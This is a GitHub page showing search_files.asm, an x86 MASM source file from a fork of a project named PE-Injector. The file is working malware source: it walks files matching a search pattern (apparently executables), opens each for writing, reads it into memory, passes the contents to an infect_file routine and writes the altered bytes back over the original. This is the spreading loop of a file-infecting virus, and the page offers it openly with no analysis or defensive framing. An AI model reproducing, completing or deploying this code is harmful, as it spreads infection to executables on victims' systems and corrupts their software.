forked from deb0ch/PE-Injector
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathsearch_files.asm
128 lines (103 loc) · 2.58 KB
/
search_files.asm
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
ifndef SEARCH_FILES_ASM_
SEARCH_FILES_ASM_ MACRO
ENDM
; Declared in current procedure (main):
; LOCAL getProcAddress_addr:DWORD
; LOCAL loadLibrary_addr:DWORD
; LOCAL imageBase:DWORD
; LOCAL filehandle:DWORD
; LOCAL fileptr:DWORD
; LOCAL filesearchhandle:DWORD
; LOCAL filesize:DWORD
; LOCAL win32finddata:WIN32_FIND_DATA
; Function addresses
; LOCAL closehandle_addr:DWORD
; LOCAL createfile_addr:DWORD
; LOCAL findclose_addr:DWORD
; LOCAL findfirstfile_addr:DWORD
; LOCAL findnextfile_addr:DWORD
; LOCAL getfilesize_addr:DWORD
; LOCAL messagebox_addr:DWORD
; LOCAL readfile_addr:DWORD
; LOCAL setfilepointer_addr:DWORD
; LOCAL virtualalloc_addr:DWORD
; LOCAL virtualfree_addr:DWORD
; LOCAL writefile_addr:DWORD
lea ecx, win32finddata
push ecx
lea ecx, [ebx + file_regex]
push ecx
call findfirstfile_addr
cmp eax, INVALID_HANDLE_VALUE
je exit_search_exe
mov filesearchhandle, eax
search_exe_loop:
push 0
push 80h
push 3
push 0
push 0
push 0c0000000h
lea ecx, win32finddata.cFileName;
push ecx
call createfile_addr
mov filehandle, eax
cmp filehandle, -1
je open_failed
push 0
push filehandle
call getfilesize_addr
mov filesize, eax
cmp eax, -1
je syserr
add eax, 5000h
push 04h
push 00001000h
push eax
push 0
call virtualalloc_addr
mov fileptr, eax
cmp eax, 0
je syserr
push 0
lea ecx, dwRead
push ecx
push filesize
push fileptr
push filehandle
call readfile_addr
cmp eax, 0
je syserr
invoke infect_file, fileptr, filesize, virtualalloc_addr, virtualfree_addr
mov filesize, eax
push 0
push 0
push 0
push filehandle
call setfilepointer_addr
cmp eax, -1
je syserr
push 0
lea ecx, dwRead
push ecx
push filesize
push fileptr
push filehandle
call writefile_addr
push filehandle
call closehandle_addr
push 08000h
push 0
push fileptr
call virtualfree_addr
open_failed:
lea ecx, win32finddata
push ecx
push filesearchhandle
call findnextfile_addr
cmp eax, 0
je exit_search_exe
syserr:
jmp search_exe_loop
exit_search_exe:
endif